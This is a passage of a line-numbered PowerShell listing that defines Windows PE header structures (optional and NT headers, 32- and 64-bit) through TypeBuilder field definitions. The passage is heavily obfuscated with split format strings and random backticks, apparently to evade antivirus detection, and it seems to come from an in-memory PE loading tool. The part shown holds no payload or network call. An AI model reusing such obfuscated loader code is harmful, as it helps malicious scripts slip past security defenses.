  170.         (${T`yPEBuild`Er}.("{2}{1}{0}"-f 'ield','ineF','Def').Invoke(("{1}{0}"-f 'Sum','Check'), [UInt32], ("{0}{1}" -f 'P','ublic'))).("{2}{0}{1}"-f 'etOff','set','S').Invoke(64) | &("{0}{2}{1}" -f 'Out','ll','-Nu')
  171.         (${tYp`EBUiL`dEr}.("{1}{0}{3}{2}" -f 'eFie','Defin','d','l').Invoke(("{2}{1}{0}"-f 'stem','sy','Sub'), ${S`UB`Sy`StEMTYpE}, ("{0}{1}" -f 'Pu','blic'))).("{0}{2}{1}" -f 'SetOf','et','fs').Invoke(68) | &("{0}{1}"-f 'Out-','Null')
  172.         (${T`Y`pEbU`iLDer}.("{1}{2}{0}" -f 'eld','Defin','eFi').Invoke(("{2}{0}{3}{1}" -f'ct','istics','DllChara','er'), ${d`lL`cha`RA`ctEristIc`StypE}, ("{1}{2}{0}"-f'c','Pub','li'))).("{0}{2}{1}" -f'S','tOffset','e').Invoke(70) | &("{1}{0}{2}"-f 't-Nu','Ou','ll')
  173.         (${TYpE`BUiLd`eR}.("{1}{2}{0}"-f'ld','Def','ineFie').Invoke(("{2}{3}{0}{1}"-f'erv','e','Si','zeOfStackRes'), [UInt64], ("{1}{0}" -f 'ic','Publ'))).("{0}{1}{2}"-f 'SetO','ffs','et').Invoke(72) | &("{2}{1}{0}" -f 'Null','t-','Ou')
  174.         (${TY`peB`UiLdEr}.("{1}{3}{0}{2}"-f'neFiel','De','d','fi').Invoke(("{3}{1}{4}{5}{0}{2}" -f 'kC','z','ommit','Si','eOfSt','ac'), [UInt64], ("{0}{1}" -f'Pu','blic'))).("{2}{0}{1}"-f 'e','tOffset','S').Invoke(80) | &("{1}{0}"-f'Null','Out-')
  175.         (${Typ`EBUI`LDer}.("{0}{1}{3}{2}"-f 'D','efin','d','eFiel').Invoke(("{4}{3}{0}{1}{2}" -f's','e','rve','fHeapRe','SizeO'), [UInt64], ("{0}{1}"-f'Pu','blic'))).("{1}{0}{2}"-f'Off','Set','set').Invoke(88) | &("{0}{2}{1}"-f 'O','l','ut-Nul')
  176.         (${Ty`P`eBuil`dER}.("{3}{1}{2}{0}" -f'ld','in','eFie','Def').Invoke(("{1}{3}{2}{0}"-f 'pCommit','Si','eOfHea','z'), [UInt64], ("{0}{1}"-f 'Publi','c'))).("{2}{1}{0}" -f 'fset','f','SetO').Invoke(96) | &("{1}{0}{2}"-f 'N','Out-','ull')
  177.         (${TYpeb`Ui`LdER}.("{0}{3}{1}{2}"-f'Defi','eF','ield','n').Invoke(("{0}{3}{2}{1}" -f'Loa','ags','l','derF'), [UInt32], ("{2}{0}{1}" -f 'l','ic','Pub'))).("{2}{1}{3}{0}" -f 'et','f','SetOf','s').Invoke(104) | &("{0}{1}{2}" -f'Out','-N','ull')
  178.         (${tyPeb`UilD`Er}.("{0}{3}{1}{2}" -f 'Defin','l','d','eFie').Invoke(("{0}{2}{3}{1}"-f 'Num','zes','berOfRvaAnd','Si'), [UInt32], ("{0}{2}{1}" -f'P','lic','ub'))).("{0}{2}{1}"-f 'SetOf','set','f').Invoke(108) | &("{0}{1}{2}" -f'Ou','t-N','ull')
  179.         (${TyPebU`il`Der}.("{2}{1}{0}" -f'ield','neF','Defi').Invoke(("{2}{3}{1}{0}"-f 'Table','t','Expo','r'), ${iM`AGe`_DAtA`_d`IRE`CTorY}, ("{1}{0}" -f'blic','Pu'))).("{1}{0}"-f'Offset','Set').Invoke(112) | &("{0}{1}" -f 'Ou','t-Null')
  180.         (${tYP`ebUilD`eR}.("{1}{0}{2}" -f 'F','Define','ield').Invoke(("{2}{0}{1}" -f 'rtTa','ble','Impo'), ${i`m`AgE_DATA_D`IRecTO`RY}, ("{0}{1}"-f'Publ','ic'))).("{0}{1}{2}" -f'Set','O','ffset').Invoke(120) | &("{2}{0}{1}" -f 'u','t-Null','O')
  181.         (${tYpEb`Uil`DEr}.("{3}{1}{2}{0}" -f 'ld','efi','neFie','D').Invoke(("{2}{0}{1}"-f'ceTa','ble','Resour'), ${ImAge_da`TA_`DIrEC`T`Ory}, ("{1}{0}"-f 'ublic','P'))).("{0}{2}{1}"-f'Se','et','tOffs').Invoke(128) | &("{0}{2}{1}" -f 'Ou','-Null','t')
  182.         (${tYpEBUI`L`der}.("{1}{3}{0}{2}" -f'ne','Def','Field','i').Invoke(("{3}{0}{2}{4}{1}" -f 'xc','le','ep','E','tionTab'), ${I`mAgE_D`ATa_dirE`Ct`O`RY}, ("{0}{1}" -f'Pub','lic'))).("{1}{2}{0}"-f'Offset','S','et').Invoke(136) | &("{0}{1}" -f'Out-Nu','ll')
  183.         (${TYP`e`BUI`LDEr}.("{3}{2}{0}{1}" -f 'l','d','efineFie','D').Invoke(("{1}{0}{4}{2}{3}"-f'ic','Certif','abl','e','ateT'), ${IMAg`e_Da`TA_`direC`TorY}, ("{1}{0}"-f'c','Publi'))).("{2}{0}{1}"-f 'ffs','et','SetO').Invoke(144) | &("{2}{1}{0}" -f 'Null','t-','Ou')
  184.         (${tyPE`B`UILd`ER}.("{1}{2}{0}"-f 'eld','De','fineFi').Invoke(("{3}{0}{1}{2}"-f'seRelocat','ion','Table','Ba'), ${imAgE_`dA`T`A_`Di`RecT`OrY}, ("{0}{2}{1}"-f 'Publ','c','i'))).("{0}{1}{2}" -f 'SetO','f','fset').Invoke(152) | &("{2}{0}{1}"-f 'u','ll','Out-N')
  185.         (${TYPeb`U`I`ldeR}.("{1}{2}{3}{0}" -f 'eld','De','fin','eFi').Invoke(("{1}{0}"-f'ebug','D'), ${IM`AGE`_`DaTa_`DireCTORy}, ("{2}{0}{1}"-f'bli','c','Pu'))).("{1}{0}{2}" -f'fs','SetOf','et').Invoke(160) | &("{0}{1}{2}" -f 'Out','-Nu','ll')
  186.         (${tYP`E`BuILDER}.("{0}{2}{3}{1}" -f 'D','neField','e','fi').Invoke(("{2}{1}{0}"-f 'cture','hite','Arc'), ${imA`Ge_da`TA`_`DIr`EcTo`RY}, ("{1}{0}" -f 'blic','Pu'))).("{0}{1}{2}"-f'S','etOffse','t').Invoke(168) | &("{1}{2}{0}"-f 'Null','O','ut-')
  187.         (${t`yP`eBuiL`DER}.("{0}{2}{1}"-f 'Defin','eld','eFi').Invoke(("{0}{3}{1}{2}"-f'Gl','balP','tr','o'), ${iMA`ge`_dATa_DiR`eC`TOry}, ("{0}{1}" -f 'P','ublic'))).("{0}{1}"-f'S','etOffset').Invoke(176) | &("{1}{2}{0}" -f'ull','Ou','t-N')
  188.         (${TYPEB`U`iLd`eR}.("{2}{1}{0}" -f 'ineField','f','De').Invoke(("{2}{1}{0}"-f 'e','STabl','TL'), ${Im`AgE_`d`AT`A`_dIrecT`Ory}, ("{1}{2}{0}" -f'blic','P','u'))).("{2}{1}{3}{0}" -f'set','Of','Set','f').Invoke(184) | &("{2}{0}{1}"-f 'u','ll','Out-N')
  189.         (${TyPEbuIl`d`Er}.("{0}{2}{1}"-f'De','neField','fi').Invoke(("{0}{1}{3}{2}"-f 'LoadCon','f','e','igTabl'), ${imAG`e_`dA`Ta_diREC`TOrY}, ("{1}{0}" -f'c','Publi'))).("{0}{1}{2}" -f'S','e','tOffset').Invoke(192) | &("{1}{0}"-f't-Null','Ou')
  190.         (${tYpeb`U`I`LDeR}.("{2}{1}{0}" -f'eField','n','Defi').Invoke(("{1}{2}{3}{0}"-f 't','Bou','n','dImpor'), ${ImaGe_d`At`A_dI`R`ecT`Ory}, ("{0}{1}" -f 'P','ublic'))).("{2}{1}{0}" -f 'et','etOffs','S').Invoke(200) | &("{0}{1}" -f'Ou','t-Null')
  191.         (${typEBui`Ld`ER}.("{1}{2}{3}{0}" -f'ield','D','ef','ineF').Invoke('IAT', ${IMag`E`_da`T`A_`diR`eCtORY}, ("{1}{0}" -f'lic','Pub'))).("{1}{0}{2}"-f 'etOf','S','fset').Invoke(208) | &("{0}{2}{1}"-f 'Out','ull','-N')
  192.         (${ty`PEbUil`D`ER}.("{3}{1}{2}{0}"-f'eld','fine','Fi','De').Invoke(("{0}{3}{2}{4}{1}"-f'D','ptor','yImportDe','ela','scri'), ${iMaGE_DAT`A_D`IR`ecto`RY}, ("{1}{0}{2}" -f 'i','Publ','c'))).("{1}{2}{0}{3}" -f 'se','S','etOff','t').Invoke(216) | &("{2}{0}{1}" -f '-Nu','ll','Out')
  193.         (${TypeBui`l`d`Er}.("{0}{1}{2}{3}"-f 'D','e','fineF','ield').Invoke(("{3}{4}{1}{2}{0}"-f'er','eHe','ad','CLRRun','tim'), ${iMa`GE_dA`Ta_dirE`CTo`RY}, ("{1}{0}" -f 'lic','Pub'))).("{1}{0}{2}" -f 'Of','Set','fset').Invoke(224) | &("{0}{1}" -f 'Ou','t-Null')
  194.         (${Typeb`UIL`dEr}.("{0}{1}{2}{3}"-f'Def','i','neFie','ld').Invoke(("{0}{2}{1}"-f'R','ed','eserv'), ${iMAg`E_`daT`A_`dIr`ECtO`Ry}, ("{0}{1}"-f'Publ','ic'))).("{1}{0}{2}"-f'Of','Set','fset').Invoke(232) | &("{0}{1}{2}" -f 'Out-','Nu','ll')
  195.         ${iMaGe_OP`T`i`onaL_HEad`ER64} = ${TYPe`Bu`ilDEr}.("{1}{3}{0}{2}" -f 'p','Creat','e','eTy').Invoke()
  196.         ${WI`N`3`2TypeS} | &("{1}{0}{2}"-f '-Memb','Add','er') -MemberType ("{1}{3}{2}{0}" -f 'operty','N','ePr','ot') -Name ("{4}{0}{5}{3}{1}{2}"-f'AG','EADER','64','TIONAL_H','IM','E_OP') -Value ${Im`AgE_op`Tion`AL_h`eAder64}
  197.  
  198.  
  199.         ${ATtr`i`Bu`TES} = ("{1}{0}{9}{12}{2}{5}{10}{3}{6}{8}{4}{7}{11}"-f't','Au','iCla',' Pu','yout, Sealed, Before','ss, Class','bli','Fi','c, ExplicitLa','oLayout, A',',','eldInit','ns')
  200.         ${T`YpeB`UIlDeR} = ${m`ODuL`EBU`iLD`eR}.("{1}{0}{2}"-f'fi','De','neType').Invoke(("{5}{4}{1}{6}{2}{0}{3}" -f 'ER3','GE_OPTI','D','2','A','IM','ONAL_HEA'), ${A`TT`RIBut`Es}, [System.ValueType], 224)
  201.         (${TYPEb`U`ILd`eR}.("{2}{3}{0}{1}"-f 'iel','d','Define','F').Invoke(("{0}{1}" -f'M','agic'), ${m`A`giCTYPe}, ("{1}{0}"-f'blic','Pu'))).("{2}{0}{1}" -f'e','t','SetOffs').Invoke(0) | &("{0}{1}{2}"-f'O','ut-N','ull')
  202.         (${Ty`pEb`UIl`DeR}.("{0}{1}{2}{3}" -f 'Defin','eFie','l','d').Invoke(("{3}{4}{2}{0}{1}" -f 'rLinkerVersi','on','o','M','aj'), [Byte], ("{1}{0}"-f'ublic','P'))).("{0}{2}{1}" -f'S','set','etOff').Invoke(2) | &("{0}{2}{1}"-f'Out-N','l','ul')
  203.         (${t`Yp`ebUiLd`ER}.("{0}{1}{2}" -f'Defi','neFiel','d').Invoke(("{2}{4}{5}{0}{3}{1}" -f 'r','on','Minor','si','Link','erVe'), [Byte], ("{2}{1}{0}"-f 'lic','ub','P'))).("{2}{0}{1}"-f'tOf','fset','Se').Invoke(3) | &("{1}{0}{2}"-f '-','Out','Null')
  204.         (${Ty`p`EBuil`DEr}.("{2}{1}{0}"-f 'Field','fine','De').Invoke(("{2}{1}{0}" -f 'e','d','SizeOfCo'), [UInt32], ("{1}{0}" -f 'c','Publi'))).("{1}{0}{2}"-f'Of','Set','fset').Invoke(4) | &("{1}{2}{0}" -f'll','Out-N','u')
  205.         (${tY`P`ebuil`DEr}.("{0}{2}{1}"-f'Defin','ield','eF').Invoke(("{2}{3}{1}{0}"-f'dData','e','SizeOfInitia','liz'), [UInt32], ("{0}{1}" -f 'Pu','blic'))).("{1}{2}{0}"-f'et','Se','tOffs').Invoke(8) | &("{0}{1}{2}"-f 'Ou','t','-Null')
  206.         (${T`YPEBUIL`dER}.("{1}{2}{3}{0}" -f 'ld','D','efine','Fie').Invoke(("{4}{1}{5}{3}{2}{0}{6}"-f 'dDat','eOfUn','ize','ial','Siz','init','a'), [UInt32], ("{0}{1}"-f'Publi','c'))).("{0}{2}{1}" -f'Set','ffset','O').Invoke(12) | &("{0}{1}{2}" -f'Ou','t-N','ull')
  207.         (${TYPe`BU`iLD`eR}.("{1}{2}{0}" -f 'eField','Defi','n').Invoke(("{4}{1}{0}{2}{3}{5}"-f'fEnt','ddressO','r','yPo','A','int'), [UInt32], ("{1}{0}" -f 'c','Publi'))).("{1}{2}{0}"-f 't','SetOf','fse').Invoke(16) | &("{1}{2}{0}"-f 'll','O','ut-Nu')
  208.         (${t`y`pEBUIlD`er}.("{1}{2}{0}"-f'Field','Def','ine').Invoke(("{3}{2}{0}{1}"-f'Co','de','aseOf','B'), [UInt32], ("{1}{0}{2}" -f 'b','Pu','lic'))).("{0}{1}"-f 'SetO','ffset').Invoke(20) | &("{0}{2}{1}" -f'Out','ull','-N')
  209.         (${tyPeBu`IL`der}.("{0}{1}{2}"-f 'DefineFie','l','d').Invoke(("{1}{0}{2}" -f'a','BaseOfD','ta'), [UInt32], ("{2}{1}{0}" -f'c','i','Publ'))).("{1}{2}{0}"-f'et','SetO','ffs').Invoke(24) | &("{2}{0}{1}"-f'-Nu','ll','Out')
  210.         (${TyPe`Bui`lDeR}.("{1}{0}{2}{3}"-f'e','Defin','Fie','ld').Invoke(("{3}{1}{2}{0}" -f'e','geBa','s','Ima'), [UInt32], ("{2}{1}{0}" -f'lic','ub','P'))).("{0}{2}{1}"-f 'Set','et','Offs').Invoke(28) | &("{2}{0}{1}" -f 't-N','ull','Ou')
  211.         (${t`YPE`Bu`IldeR}.("{1}{0}{2}"-f'fineFi','De','eld').Invoke(("{1}{2}{3}{4}{0}"-f 'ent','SectionAl','ig','n','m'), [UInt32], ("{1}{0}{2}"-f 'u','P','blic'))).("{1}{2}{0}"-f 't','SetOf','fse').Invoke(32) | &("{0}{1}{2}"-f 'O','ut-Nul','l')
  212.         (${type`Bu`ilD`ER}.("{1}{0}{2}" -f'fine','De','Field').Invoke(("{2}{1}{0}{3}" -f 'nme','ileAlig','F','nt'), [UInt32], ("{0}{1}" -f 'Pub','lic'))).("{1}{0}{2}"-f'tOffs','Se','et').Invoke(36) | &("{1}{0}"-f'ut-Null','O')
  213.         (${tY`p`ebUiLdEr}.("{0}{1}{2}" -f'Def','ineF','ield').Invoke(("{6}{2}{1}{4}{3}{0}{5}" -f'r','at','er','Ve','ingSystem','sion','MajorOp'), [UInt16], ("{0}{1}{2}"-f 'P','u','blic'))).("{2}{1}{0}"-f't','tOffse','Se').Invoke(40) | &("{1}{0}" -f'ull','Out-N')
  214.         (${TY`PE`BuiLDer}.("{3}{0}{1}{2}"-f'ef','in','eField','D').Invoke(("{0}{2}{3}{4}{5}{1}{6}" -f 'Mi','emVer','n','orOper','atingSys','t','sion'), [UInt16], ("{0}{1}" -f'Pu','blic'))).("{2}{0}{1}" -f'Off','set','Set').Invoke(42) | &("{0}{2}{1}"-f 'Out-','l','Nul')
  215.         (${ty`PEb`U`IlDeR}.("{0}{2}{3}{1}" -f 'DefineF','d','i','el').Invoke(("{2}{1}{0}{3}" -f'ageVers','Im','Major','ion'), [UInt16], ("{0}{1}" -f'Publi','c'))).("{1}{2}{0}" -f'ffset','S','etO').Invoke(44) | &("{0}{1}" -f 'Out','-Null')
  216.         (${t`ypeBuIl`DEr}.("{0}{1}{2}" -f 'Def','i','neField').Invoke(("{0}{1}{2}{3}" -f 'Mino','rImageVersi','o','n'), [UInt16], ("{1}{0}" -f'blic','Pu'))).("{2}{1}{0}"-f 'et','fs','SetOf').Invoke(46) | &("{2}{0}{1}" -f 'ul','l','Out-N')
  217.         (${T`YPEB`UiLdeR}.("{2}{0}{1}"-f'i','neField','Def').Invoke(("{3}{0}{1}{2}{4}"-f'jo','r','SubsystemVe','Ma','rsion'), [UInt16], ("{0}{2}{1}" -f 'Pu','ic','bl'))).("{1}{0}{2}"-f 'ff','SetO','set').Invoke(48) | &("{0}{1}{2}" -f'Ou','t-Nul','l')
  218.         (${ty`P`eBUiLDEr}.("{2}{3}{0}{1}"-f 'ne','Field','De','fi').Invoke(("{1}{3}{2}{0}"-f 'ystemVersion','Mi','rSubs','no'), [UInt16], ("{1}{0}" -f'c','Publi'))).("{1}{0}{2}" -f 'etOffse','S','t').Invoke(50) | &("{1}{0}" -f 'ut-Null','O')
  219.         (${typEb`U`IL`DeR}.("{1}{3}{0}{2}" -f 'iel','Define','d','F').Invoke(("{3}{0}{2}{1}" -f'e','Value','rsion','Win32V'), [UInt32], ("{1}{0}"-f'lic','Pub'))).("{2}{1}{0}"-f 'et','etOffs','S').Invoke(52) | &("{0}{1}" -f 'O','ut-Null')
  220.         (${TYp`eBUi`l`Der}.("{1}{2}{3}{0}" -f 'Field','D','efin','e').Invoke(("{0}{2}{3}{1}" -f'SizeO','ge','fI','ma'), [UInt32], ("{1}{0}" -f'c','Publi'))).("{1}{0}{2}" -f'Off','Set','set').Invoke(56) | &("{1}{2}{0}" -f 'l','Out-Nu','l')
  221.         (${tYPeB`UILD`Er}.("{0}{1}{2}"-f'Defin','eFi','eld').Invoke(("{1}{3}{0}{2}" -f'eader','S','s','izeOfH'), [UInt32], ("{1}{2}{0}" -f'c','Publ','i'))).("{1}{2}{0}" -f 'et','SetOff','s').Invoke(60) | &("{0}{2}{1}" -f'O','l','ut-Nul')
  222.         (${TYpebU`I`lDer}.("{3}{0}{2}{1}" -f 'efin','eld','eFi','D').Invoke(("{0}{2}{1}" -f'Ch','um','eckS'), [UInt32], ("{1}{0}"-f'blic','Pu'))).("{0}{2}{1}"-f 'SetOf','t','fse').Invoke(64) | &("{0}{1}{2}"-f 'Out-','Nul','l')
  223.         (${tYp`eB`UI`LdEr}.("{0}{2}{1}{3}"-f 'D','fine','e','Field').Invoke(("{0}{2}{1}{3}" -f 'Su','sys','b','tem'), ${S`UB`sys`TemtYpe}, ("{1}{0}" -f 'c','Publi'))).("{0}{2}{1}{3}" -f'S','f','etOf','set').Invoke(68) | &("{2}{0}{1}"-f 'ut-','Null','O')
  224.         (${t`YPeB`UiLd`eR}.("{3}{2}{1}{0}" -f'Field','fine','e','D').Invoke(("{3}{2}{0}{1}" -f 'ct','eristics','llChara','D'), ${dLLCHa`RaCtE`Ri`StI`CStyPe}, ("{0}{1}"-f 'Publ','ic'))).("{0}{2}{1}" -f'Set','fset','Of').Invoke(70) | &("{0}{1}{2}" -f'Ou','t','-Null')
  225.         (${t`YPEbu`IL`deR}.("{0}{1}{2}"-f 'De','fineF','ield').Invoke(("{4}{0}{5}{3}{1}{2}" -f'fS','e','rve','kRes','SizeO','tac'), [UInt32], ("{0}{2}{1}"-f'P','lic','ub'))).("{2}{1}{0}" -f 't','e','SetOffs').Invoke(72) | &("{2}{1}{0}" -f'ull','N','Out-')
  226.         (${T`yPEBU`i`lder}.("{1}{2}{0}"-f 'Field','D','efine').Invoke(("{2}{1}{3}{4}{0}" -f'mmit','O','Size','fS','tackCo'), [UInt32], ("{0}{1}" -f 'Pu','blic'))).("{3}{2}{0}{1}" -f'fse','t','Of','Set').Invoke(76) | &("{0}{2}{1}"-f'O','t-Null','u')
  227.         (${t`y`PEbUILder}.("{2}{3}{1}{0}" -f'Field','e','D','efin').Invoke(("{3}{2}{4}{1}{0}" -f'erve','Res','eOfHea','Siz','p'), [UInt32], ("{0}{1}{2}"-f 'P','ubli','c'))).("{2}{0}{1}" -f 'ffse','t','SetO').Invoke(80) | &("{1}{0}"-f 'll','Out-Nu')
  228.         (${Ty`pe`BUI`lDer}.("{1}{0}{2}"-f 'l','DefineFie','d').Invoke(("{4}{0}{2}{1}{3}" -f 'izeOfHeapC','mm','o','it','S'), [UInt32], ("{1}{0}" -f 'blic','Pu'))).("{2}{1}{0}" -f 'set','f','SetOf').Invoke(84) | &("{2}{0}{1}"-f'u','t-Null','O')
  229.         (${tYPe`B`Ui`LDer}.("{1}{0}{2}"-f 'eF','Defin','ield').Invoke(("{0}{3}{1}{2}"-f 'L','a','derFlags','o'), [UInt32], ("{0}{1}"-f'Pub','lic'))).("{1}{0}{2}" -f'Offs','Set','et').Invoke(88) | &("{0}{2}{1}" -f 'Out','ull','-N')
  230.         (${tyPEbuI`L`d`er}.("{1}{3}{2}{0}"-f 'd','De','Fiel','fine').Invoke(("{0}{3}{2}{1}" -f'N','dSizes','RvaAn','umberOf'), [UInt32], ("{0}{1}{2}" -f'Pu','b','lic'))).("{1}{2}{0}"-f'Offset','S','et').Invoke(92) | &("{1}{0}" -f 'ut-Null','O')
  231.         (${TYpEB`UI`Ld`Er}.("{0}{2}{1}{3}"-f 'Def','i','ineF','eld').Invoke(("{1}{2}{0}" -f'e','Exp','ortTabl'), ${IMAgE_Da`TA`_D`i`Re`ctOrY}, ("{0}{1}" -f 'Publi','c'))).("{1}{2}{0}" -f 'ffset','S','etO').Invoke(96) | &("{0}{2}{1}" -f 'O','t-Null','u')
  232.         (${TyPE`BUiL`Der}.("{3}{0}{1}{2}" -f'efi','neFiel','d','D').Invoke(("{3}{2}{0}{1}" -f'Tab','le','ort','Imp'), ${I`Mage`_dAt`A`_dirECtORY}, ("{1}{2}{0}" -f 'ic','P','ubl'))).("{2}{1}{0}"-f 't','Offse','Set').Invoke(104) | &("{2}{0}{1}" -f 't-','Null','Ou')
  233.         (${T`Y`pEbuiLDer}.("{3}{1}{2}{0}" -f'eld','in','eFi','Def').Invoke(("{0}{2}{3}{1}"-f 'R','Table','eso','urce'), ${iM`AGE`_D`ATa_DIR`ectOry}, ("{1}{0}"-f 'lic','Pub'))).("{0}{2}{1}"-f'SetOf','t','fse').Invoke(112) | &("{1}{2}{0}"-f 'ull','Ou','t-N')
  234.         (${tYpe`Bu`IlDER}.("{0}{1}{2}" -f 'D','efineFiel','d').Invoke(("{3}{0}{1}{4}{2}" -f 'c','ep','nTable','Ex','tio'), ${Ima`Ge_dAT`A_diRECT`O`RY}, ("{1}{0}"-f'c','Publi'))).("{1}{2}{0}"-f 'Offset','S','et').Invoke(120) | &("{1}{0}"-f'-Null','Out')
  235.         (${T`yPebUi`LdEr}.("{3}{2}{1}{0}"-f 'eld','neFi','efi','D').Invoke(("{2}{4}{1}{3}{0}" -f 'le','at','Certi','eTab','fic'), ${i`Mag`E_`DAt`A_di`REC`TOry}, ("{2}{0}{1}"-f'l','ic','Pub'))).("{3}{1}{0}{2}"-f'Offs','et','et','S').Invoke(128) | &("{1}{0}"-f'ull','Out-N')
  236.         (${typ`e`BuILder}.("{2}{1}{3}{0}"-f'ield','efine','D','F').Invoke(("{1}{3}{2}{0}"-f'ionTable','BaseR','ocat','el'), ${I`MagE_datA_DI`ReCt`ORY}, ("{1}{0}"-f 'blic','Pu'))).("{0}{1}{2}"-f'S','etO','ffset').Invoke(136) | &("{2}{1}{0}" -f'Null','ut-','O')
  237.         (${TY`PEbuIl`der}.("{0}{1}{2}" -f'Defi','neF','ield').Invoke(("{0}{1}" -f'De','bug'), ${Ima`G`e`_`dA`Ta`_dirECToRy}, ("{0}{1}"-f'Publi','c'))).("{1}{2}{0}" -f'ffset','Se','tO').Invoke(144) | &("{0}{2}{1}" -f'O','-Null','ut')
  238.         (${TY`p`EBUIl`DEr}.("{1}{2}{3}{0}"-f 'd','D','e','fineFiel').Invoke(("{2}{3}{0}{1}"-f'c','ture','Archi','te'), ${ima`ge_DAT`A_dI`R`Ect`O`RY}, ("{0}{1}" -f 'Pub','lic'))).("{1}{2}{0}" -f 'et','Set','Offs').Invoke(152) | &("{1}{0}{2}"-f 'u','Out-N','ll')
  239.         (${TypE`B`U`ILder}.("{3}{0}{1}{2}" -f'eFi','e','ld','Defin').Invoke(("{0}{1}{2}"-f 'Glo','b','alPtr'), ${iM`AGE_da`Ta`_Di`RecTORY}, ("{0}{1}" -f'Publ','ic'))).("{2}{1}{0}"-f 'set','etOff','S').Invoke(160) | &("{1}{2}{0}" -f'll','O','ut-Nu')
  240.         (${TyPEBUIL`d`er}.("{0}{2}{1}"-f'Def','ield','ineF').Invoke(("{0}{1}" -f'TLST','able'), ${iMAge_Dat`A_d`I`RecTo`Ry}, ("{2}{0}{1}"-f 'b','lic','Pu'))).("{0}{1}{2}" -f'Set','Offs','et').Invoke(168) | &("{1}{0}" -f'll','Out-Nu')
  241.         (${TypE`B`UI`LdeR}.("{2}{1}{3}{0}" -f'ield','ef','D','ineF').Invoke(("{3}{0}{2}{4}{1}" -f 'd','e','Co','Loa','nfigTabl'), ${iMa`GE`_daTA_dirEC`T`O`RY}, ("{2}{1}{0}"-f 'ic','l','Pub'))).("{1}{0}{3}{2}" -f 'et','S','t','Offse').Invoke(176) | &("{1}{0}"-f 'Null','Out-')
  242.         (${T`y`PEBUil`DEr}.("{2}{1}{0}" -f 'ld','eFie','Defin').Invoke(("{3}{2}{0}{1}" -f 'mpo','rt','ndI','Bou'), ${Im`AGE_`daTa_dI`REct`O`RY}, ("{0}{1}"-f 'Pub','lic'))).("{0}{1}" -f 'SetOf','fset').Invoke(184) | &("{0}{1}"-f'Out','-Null')
  243.         (${TYp`E`Build`Er}.("{2}{1}{0}"-f'ld','Fie','Define').Invoke('IAT', ${Ima`ge_D`AtA_dI`R`e`CtO`Ry}, ("{1}{0}" -f 'ic','Publ'))).("{1}{0}" -f'fset','SetOf').Invoke(192) | &("{1}{2}{0}"-f 'l','Out-','Nul')
  244.         (${typEBU`iL`d`eR}.("{2}{1}{0}" -f'ield','eF','Defin').Invoke(("{0}{1}{3}{2}{4}{6}{5}"-f'De','lay','Descr','Import','ip','r','to'), ${I`MaGe_`datA_dIrEcTO`RY}, ("{1}{2}{0}"-f 'c','P','ubli'))).("{1}{2}{0}{3}" -f 'f','Se','tOf','set').Invoke(200) | &("{1}{2}{0}" -f 'll','Out','-Nu')
  245.         (${tyPEbUIL`D`er}.("{1}{2}{0}"-f'ld','D','efineFie').Invoke(("{3}{4}{0}{2}{1}" -f'eH','er','ead','CLRRunt','im'), ${I`mAg`e_dA`T`A_dI`ReCt`ory}, ("{0}{1}" -f'Publi','c'))).("{3}{0}{2}{1}"-f'etOf','t','fse','S').Invoke(208) | &("{1}{0}{2}" -f'N','Out-','ull')
  246.         (${ty`p`eBUil`dEr}.("{1}{2}{0}" -f 'ld','Defin','eFie').Invoke(("{1}{0}{2}" -f'ser','Re','ved'), ${Im`AG`E_`da`Ta_D`IREcT`OrY}, ("{1}{2}{0}" -f 'ic','Pu','bl'))).("{2}{3}{1}{0}"-f'fset','tOf','S','e').Invoke(216) | &("{2}{0}{1}" -f'ut-','Null','O')
  247.         ${ImAge`_Op`TiOnaL_HE`A`dER`32} = ${T`yPeb`UI`lDer}.("{1}{2}{0}"-f 'e','CreateT','yp').Invoke()
  248.         ${w`IN3`2T`Ypes} | &("{2}{1}{0}" -f 'er','-Memb','Add') -MemberType ("{2}{0}{1}" -f 'pe','rty','NotePro') -Name ("{0}{3}{2}{1}{5}{4}"-f'I','PTIONAL_HEAD','GE_O','MA','R32','E') -Value ${I`mAG`e_op`Tion`AL`_HeA`Der32}
  249.  
  250.  
  251.         ${AtTR`IbUt`ES} = ("{19}{4}{8}{17}{6}{16}{2}{14}{10}{9}{0}{3}{18}{15}{1}{22}{11}{20}{12}{5}{13}{7}{21}"-f 'nt',',','s,','i','to',', Be','ut, AnsiClass','Fie','L','c, Seque','i','e','d','fore',' Publ','lLayout',', Clas','ayo','a','Au','ale','ldInit',' S')
  252.         ${tyPe`BuI`ldEr} = ${m`o`DU`LEbu`ilDER}.("{0}{1}{2}"-f 'Defi','neTyp','e').Invoke(("{1}{3}{4}{2}{0}" -f 'S64','IMAG','ADER','E_NT','_HE'), ${at`TRI`B`UteS}, [System.ValueType], 264)
  253.         ${typEB`U`IlDer}.("{0}{2}{1}" -f 'Defi','eld','neFi').Invoke(("{1}{0}{2}" -f 'gnatu','Si','re'), [UInt32], ("{1}{0}" -f 'c','Publi')) | &("{2}{0}{1}" -f '-Nul','l','Out')
  254.         ${tYpE`BUILd`Er}.("{1}{2}{0}" -f'd','DefineF','iel').Invoke(("{0}{1}{2}"-f'Fil','eHead','er'), ${ImaG`e_f`i`LE`_heADER}, ("{2}{0}{1}"-f'b','lic','Pu')) | &("{0}{2}{1}"-f'Out','ull','-N')
  255.         ${tyPE`B`UI`LDer}.("{0}{2}{1}{3}" -f'D','eF','efin','ield').Invoke(("{0}{2}{3}{1}"-f'O','er','p','tionalHead'), ${i`MaGe_op`TiOnAl`_`HeADER64}, ("{0}{1}" -f'Pub','lic')) | &("{0}{2}{1}" -f 'Ou','ll','t-Nu')
  256.         ${imA`gE_nT_heA`D`eRS64} = ${TYP`EBuil`d`eR}.("{2}{3}{0}{1}" -f 'eTyp','e','Cr','eat').Invoke()
  257.         ${Win32T`y`pEs} | &("{1}{2}{0}{3}" -f'm','Add-M','e','ber') -MemberType ("{1}{0}{2}{3}" -f 'ot','N','e','Property') -Name ("{0}{1}{2}{4}{3}{5}" -f'I','M','AGE','NT_HEADER','_','S64') -Value ${iMag`E_NT_`heaDe`Rs64}
  258.  
  259.  
  260.         ${aTt`Ri`B`UTes} = ("{11}{4}{8}{14}{9}{12}{1}{13}{2}{0}{5}{6}{3}{10}{7}" -f', Se','ubli','ayout','oreField','utoL','aled,',' Bef','it','ayou','iClas','In','A','s, Class, P','c, SequentialL','t, Ans')
  261.         ${tY`PeBU`I`LdER} = ${moDUleBU`i`l`DEr}.("{0}{1}{2}"-f'Defi','neTyp','e').Invoke(("{3}{0}{1}{2}{4}" -f 'MA','GE','_NT','I','_HEADERS32'), ${ATTRI`But`eS}, [System.ValueType], 248)
